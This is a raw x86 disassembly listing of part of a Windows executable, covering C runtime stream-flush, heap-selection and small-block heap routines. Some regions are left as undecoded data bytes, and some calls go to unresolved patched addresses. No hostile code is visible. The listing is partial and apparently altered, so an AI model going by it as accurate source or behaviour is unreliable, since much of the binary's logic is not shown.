loc_41E1CD:				; CODE XREF: sub_41E0D4+6Bj
		dec	eax


loc_41E1CE:				; CODE XREF: sub_41E0D4+1Aj
					; sub_41E0D4+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41E0D4	endp

; ---------------------------------------------------------------------------
		db 6Dh
		dd 7746807Bh, 271B65EAh, 124FBEE6h, 0A164B780h,	0
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 0DEE890E8h, 33024737h,	89D48AD2h
		dd 4DBDF415h, 81C88B00h, 0FFE1h, 0F00D8900h, 0C1004DBDh
		dd 0CA0308E1h, 0BDEC0D89h, 0E8C1004Dh, 0BDE8A310h, 0F633004Dh
		dd 440E856h, 85590000h,	6A0875C0h, 0B0E81Ch, 89590000h
		dd 0C4E8FC75h, 0E8000058h, 2473760h, 0D38CA390h, 82E8004Dh
		dd 0A3000057h, 4DBE34h,	552BE8h, 546DE800h, 0F9E80000h
		dd 89FFFFDEh, 458DD075h, 0E89050A4h, 2471D88h, 53FEE8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 65E89056h, 5002281Dh, 0FE2F80E8h,	0A04589FFh
		dd 0DEE7E850h, 458BFFFFh, 8B088BECh, 984D8909h,	3CE85150h
		dd 59000052h, 658BC359h, 9875FFE8h, 0FFDED9E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41E2C9	proc near		; CODE XREF: sub_41DA32+16p
					; ___:00423721p ...

arg_0		= dword	ptr  4

		cmp	dword_4DBE3C, 1
		jnz	short loc_41E2D7
		call	sub_423D98


loc_41E2D7:				; CODE XREF: sub_41E2C9+7j
		push	[esp+arg_0]
		call	sub_423DD1
		push	0FFh
		call	off_43AE40
		pop	ecx
		pop	ecx
		retn
sub_41E2C9	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4DBE3C
		dd 0E8057501h, 5A9Ch, 42474FFh,	5ACCE8h, 0FF685900h, 90000000h
		dd 0A579A4E8h
		db 77h,	0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41E312	proc near		; CODE XREF: sub_41BA3B+2Ap
					; sub_42423B+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DD140
		jnb	loc_41E3AC
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD040h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41E3AC
		push	edi
		call	sub_4240AA
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E38B
		cmp	edi, 1
		jz	short loc_41E359
		cmp	edi, 2
		jnz	short loc_41E36F


loc_41E359:				; CODE XREF: sub_41E312+40j
		push	2
		call	sub_4240AA
		push	1
		mov	ebp, eax
		call	sub_4240AA
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41E38B


loc_41E36F:				; CODE XREF: sub_41E312+45j
		push	edi
		call	sub_4240AA
		pop	ecx
		push	eax
		call	near ptr 2670770h
		nop
		test	eax, eax
		jnz	short loc_41E38B
		nop
		call	near ptr 269086Bh
		mov	ebp, eax
		jmp	short loc_41E38D
; ---------------------------------------------------------------------------


loc_41E38B:				; CODE XREF: sub_41E312+3Bj
					; sub_41E312+5Bj ...
		xor	ebp, ebp


loc_41E38D:				; CODE XREF: sub_41E312+77j
		push	edi
		call	sub_424030
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41E3A8
		push	ebp
		call	sub_420C7F
		pop	ecx
		jmp	short loc_41E3BD
; ---------------------------------------------------------------------------


loc_41E3A8:				; CODE XREF: sub_41E312+8Bj
		xor	eax, eax
		jmp	short loc_41E3C0
; ---------------------------------------------------------------------------


loc_41E3AC:				; CODE XREF: sub_41E312+Ej
					; sub_41E312+2Fj
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9


loc_41E3BD:				; CODE XREF: sub_41E312+94j
		or	eax, 0FFFFFFFFh


loc_41E3C0:				; CODE XREF: sub_41E312+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E312	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3C5	proc near		; CODE XREF: sub_41BA3B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41E3EE
		test	al, 8
		jz	short loc_41E3EE
		push	dword ptr [esi+8]
		call	sub_41BA91
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41E3EE:				; CODE XREF: sub_41E3C5+Aj
					; sub_41E3C5+Ej
		pop	esi
		retn
sub_41E3C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3F0	proc near		; CODE XREF: sub_41E490+2Dp
					; sub_41E490+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41E402
		push	esi
		call	sub_41E490
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E402:				; CODE XREF: sub_41E3F0+7j
		push	esi
		call	sub_41E42B
		test	eax, eax
		pop	ecx
		jz	short loc_41E412
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E412:				; CODE XREF: sub_41E3F0+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41E427
		push	dword ptr [esi+10h]
		call	sub_4240E7
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41E427:				; CODE XREF: sub_41E3F0+26j
		xor	eax, eax
		pop	esi
		retn
sub_41E3F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E42B	proc near		; CODE XREF: sub_41BA3B+1Ap
					; ___:0041DAC2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41E478
		test	ax, 108h
		jz	short loc_41E478
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41E478
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41E471
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41E478
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41E478
; ---------------------------------------------------------------------------


loc_41E471:				; CODE XREF: sub_41E42B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41E478:				; CODE XREF: sub_41E42B+14j
					; sub_41E42B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41E42B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E487	proc near		; CODE XREF: sub_4241E3p
		push	1
		call	sub_41E490
		pop	ecx
		retn
sub_41E487	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E490	proc near		; CODE XREF: sub_41E3F0+Ap
					; sub_41E487+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DD020, esi
		jle	short loc_41E4EE


loc_41E4A1:				; CODE XREF: sub_41E490+5Cj
		mov	eax, dword_4DC01C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41E4E5
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41E4E5
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41E4CB
		push	eax
		call	sub_41E3F0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E4E5
		inc	ebx
		jmp	short loc_41E4E5
; ---------------------------------------------------------------------------


loc_41E4CB:				; CODE XREF: sub_41E490+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41E4E5
		test	cl, 2
		jz	short loc_41E4E5
		push	eax
		call	sub_41E3F0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41E4E5
		or	edi, eax


loc_41E4E5:				; CODE XREF: sub_41E490+1Bj
					; sub_41E490+23j ...
		inc	esi
		cmp	esi, dword_4DD020
		jl	short loc_41E4A1


loc_41E4EE:				; CODE XREF: sub_41E490+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41E4F9
		mov	eax, edi


loc_41E4F9:				; CODE XREF: sub_41E490+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E490	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4FD	proc near		; CODE XREF: ___:0041E660p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		nop
		call	near ptr 26A0000h
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41E528
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41E528
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41E528:				; CODE XREF: sub_41E4FD+15j
					; sub_41E4FD+1Cj
		pop	esi
		retn
sub_41E4FD	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41C500
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jz	short loc_41E56D
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41E56D
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41E56D
		push	1
		pop	eax
		jmp	loc_41E66F
; ---------------------------------------------------------------------------


loc_41E56D:				; CODE XREF: ___:0041E551j
					; ___:0041E55Aj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		nop
		call	near ptr 28A0000h
		test	eax, eax
		jz	loc_41E65C
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41E5AF


loc_41E59C:				; CODE XREF: ___:0041E5ADj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41E5AA
		cmp	al, 7Ah
		jg	short loc_41E5AA
		sub	al, 20h
		mov	[ecx], al


loc_41E5AA:				; CODE XREF: ___:0041E5A0j
					; ___:0041E5A4j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41E59C


loc_41E5AF:				; CODE XREF: ___:0041E59Aj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41C850
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41E5D1
		lea	eax, [ebp-122Ch]
		jmp	short loc_41E61A
; ---------------------------------------------------------------------------


loc_41E5D1:				; CODE XREF: ___:0041E5C7j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		nop
		call	near ptr 2680000h
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41E605


loc_41E5F2:				; CODE XREF: ___:0041E603j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41E600
		cmp	al, 7Ah
		jg	short loc_41E600
		sub	al, 20h
		mov	[ecx], al


loc_41E600:				; CODE XREF: ___:0041E5F6j
					; ___:0041E5FAj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41E5F2


loc_41E605:				; CODE XREF: ___:0041E5F0j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx


loc_41E61A:				; CODE XREF: ___:0041E5CFj
		cmp	eax, ebx
		jz	short loc_41E65C
		push	2Ch
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41E65C
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41E641


loc_41E633:				; CODE XREF: ___:0041E63Fj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41E63C
		mov	[ecx], bl
		jmp	short loc_41E63D
; ---------------------------------------------------------------------------


loc_41E63C:				; CODE XREF: ___:0041E636j
		inc	ecx


loc_41E63D:				; CODE XREF: ___:0041E63Aj
		cmp	[ecx], bl
		jnz	short loc_41E633


loc_41E641:				; CODE XREF: ___:0041E631j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41C586
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41E66F
		cmp	eax, 3
		jz	short loc_41E66F
		cmp	eax, 1
		jz	short loc_41E66F


loc_41E65C:				; CODE XREF: ___:0041E586j
					; ___:0041E61Cj ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41E4FD
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41E66F:				; CODE XREF: ___:0041E568j
					; ___:0041E650j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0C033h
		dd 4439006Ah, 680824h, 0F000010h, 0E850C094h, 2491978h
		dd 0A3C08590h, 4DD384h,	93E83674h, 83FFFFFEh, 88A303F8h
		dd 75004DD3h, 3F8680Dh,	24E80000h, 59000000h, 0F8830AEBh
		dd 0E8187502h, 0B5Eh, 0F75C085h, 0D38435FFh, 54E8004Dh
		dd 90024827h, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DD384h
		dd 191EE890h, 0C085023Ch, 4DD37CA3h, 0C3017500h, 4244C8Bh
		dd 0D3742583h, 8300004Dh, 4DD37825h, 16A0000h, 4DD370A3h
		dd 800D8900h, 0C7004DD3h, 4DD36805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41E717	proc near		; CODE XREF: sub_41BA91+17p
					; sub_41BBE2+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DD378
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DD37C
		lea	ecx, [eax+ecx*4]


loc_41E727:				; CODE XREF: sub_41E717+26j
		cmp	eax, ecx
		jnb	short loc_41E73F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41E741
		add	eax, 14h
		jmp	short loc_41E727
; ---------------------------------------------------------------------------


loc_41E73F:				; CODE XREF: sub_41E717+12j
		xor	eax, eax

locret_41E741:				; CODE XREF: sub_41E717+21j
		retn
sub_41E717	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E742	proc near		; CODE XREF: sub_41BA91+23p
					; sub_41BBE2+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41EA66
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41E818
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41E7A6
		push	3Fh
		pop	edx


loc_41E7A6:				; CODE XREF: sub_41E742+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E7FA
		cmp	edx, 20h
		jnb	short loc_41E7D1
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E7F2
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E7F2
; ---------------------------------------------------------------------------


loc_41E7D1:				; CODE XREF: sub_41E742+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E7F2
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E7F2:				; CODE XREF: sub_41E742+86j
					; sub_41E742+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41E7FD
; ---------------------------------------------------------------------------


loc_41E7FA:				; CODE XREF: sub_41E742+6Aj
		mov	ecx, [ebp+var_4]


loc_41E7FD:				; CODE XREF: sub_41E742+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41E818:				; CODE XREF: sub_41E742+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41E826
		push	3Fh
		pop	edx


loc_41E826:				; CODE XREF: sub_41E742+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E8C9
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41E84B
		mov	ebx, esi


loc_41E84B:				; CODE XREF: sub_41E742+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41E85D
		mov	edx, esi


loc_41E85D:				; CODE XREF: sub_41E742+117j
		cmp	ebx, edx
		jz	short loc_41E8C4
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E8AC
		cmp	ebx, 20h
		jnb	short loc_41E88D
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E8AC
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E8AC
; ---------------------------------------------------------------------------


loc_41E88D:				; CODE XREF: sub_41E742+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E8AC
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41E8AC:				; CODE XREF: sub_41E742+128j
					; sub_41E742+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41E8C4:				; CODE XREF: sub_41E742+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E8CC
; ---------------------------------------------------------------------------


loc_41E8C9:				; CODE XREF: sub_41E742+EDj
		mov	ebx, [ebp+arg_0]


loc_41E8CC:				; CODE XREF: sub_41E742+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E8DA
		cmp	ebx, edx
		jz	loc_41E95B


loc_41E8DA:				; CODE XREF: sub_41E742+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E95B
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E932
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E921
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E921:				; CODE XREF: sub_41E742+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E95B
; ---------------------------------------------------------------------------


loc_41E932:				; CODE XREF: sub_41E742+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E948
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E948:				; CODE XREF: sub_41E742+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41E95B:				; CODE XREF: sub_41E742+192j
					; sub_41E742+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41EA66
		mov	eax, dword_4DD374
		test	eax, eax
		jz	loc_41EA58
		mov	ecx, dword_4DD36C
		mov	esi, dword_427068
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4DD36C
		mov	eax, dword_4DD374
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DD374
		mov	ecx, dword_4DD36C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DD374
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DD374
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E9E9
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DD374


loc_41E9E9:				; CODE XREF: sub_41E742+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41EA58
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4DD374
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DD384
		nop
		call	near ptr 27D0000h
		mov	eax, dword_4DD378
		mov	edx, dword_4DD37C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DD374
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41D670
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DD378
		cmp	eax, dword_4DD374
		jbe	short loc_41EA4E
		sub	[ebp+arg_0], 14h


loc_41EA4E:				; CODE XREF: sub_41E742+306j
		mov	eax, dword_4DD37C
		mov	dword_4DD370, eax


loc_41EA58:				; CODE XREF: sub_41E742+234j
					; sub_41E742+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DD36C, edi
		mov	dword_4DD374, eax


loc_41EA66:				; CODE XREF: sub_41E742+38j
					; sub_41E742+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E742	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EA6B	proc near		; CODE XREF: sub_41BBE2+77p
					; sub_41BEF3+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DD378
		mov	edx, dword_4DD37C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41EAAB
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41EABB
; ---------------------------------------------------------------------------


loc_41EAAB:				; CODE XREF: sub_41EA6B+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41EABB:				; CODE XREF: sub_41EA6B+3Ej
		mov	eax, dword_4DD370
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EAE2


loc_41EAC9:				; CODE XREF: sub_41EA6B+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EAE2
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41EAC9


loc_41EAE2:				; CODE XREF: sub_41EA6B+5Cj
					; sub_41EA6B+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41EB60
		mov	ebx, edx


loc_41EAE9:				; CODE XREF: sub_41EA6B+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EB05
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EB03
		add	ebx, 14h
		jmp	short loc_41EAE9
; ---------------------------------------------------------------------------


loc_41EB03:				; CODE XREF: sub_41EA6B+91j
		cmp	ebx, eax


loc_41EB05:				; CODE XREF: sub_41EA6B+83j
		jnz	short loc_41EB60


loc_41EB07:				; CODE XREF: sub_41EA6B+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41EB1D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41EB1A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41EB07
; ---------------------------------------------------------------------------


loc_41EB1A:				; CODE XREF: sub_41EA6B+A5j
		cmp	ebx, [ebp+var_4]


loc_41EB1D:				; CODE XREF: sub_41EA6B+9Fj
		jnz	short loc_41EB45
		mov	ebx, edx


loc_41EB21:				; CODE XREF: sub_41EA6B+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EB35
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41EB33
		add	ebx, 14h
		jmp	short loc_41EB21
; ---------------------------------------------------------------------------


loc_41EB33:				; CODE XREF: sub_41EA6B+C1j
		cmp	ebx, eax


loc_41EB35:				; CODE XREF: sub_41EA6B+BBj
		jnz	short loc_41EB45
		call	sub_41ED74
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41EB59


loc_41EB45:				; CODE XREF: sub_41EA6B:loc_41EB1Dj
					; sub_41EA6B:loc_41EB35j
		push	ebx
		call	sub_41EE25
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EB60


loc_41EB59:				; CODE XREF: sub_41EA6B+D8j
		xor	eax, eax
		jmp	loc_41ED6F
; ---------------------------------------------------------------------------


loc_41EB60:				; CODE XREF: sub_41EA6B+7Aj
					; sub_41EA6B:loc_41EB05j ...
		mov	dword_4DD370, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41EB87
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EBBE


loc_41EB87:				; CODE XREF: sub_41EA6B+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41EBBB


loc_41EBA4:				; CODE XREF: sub_41EA6B+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41EBA4


loc_41EBBB:				; CODE XREF: sub_41EA6B+137j
		mov	edx, [ebp+var_4]


loc_41EBBE:				; CODE XREF: sub_41EA6B+11Aj
		mov	ecx, edx
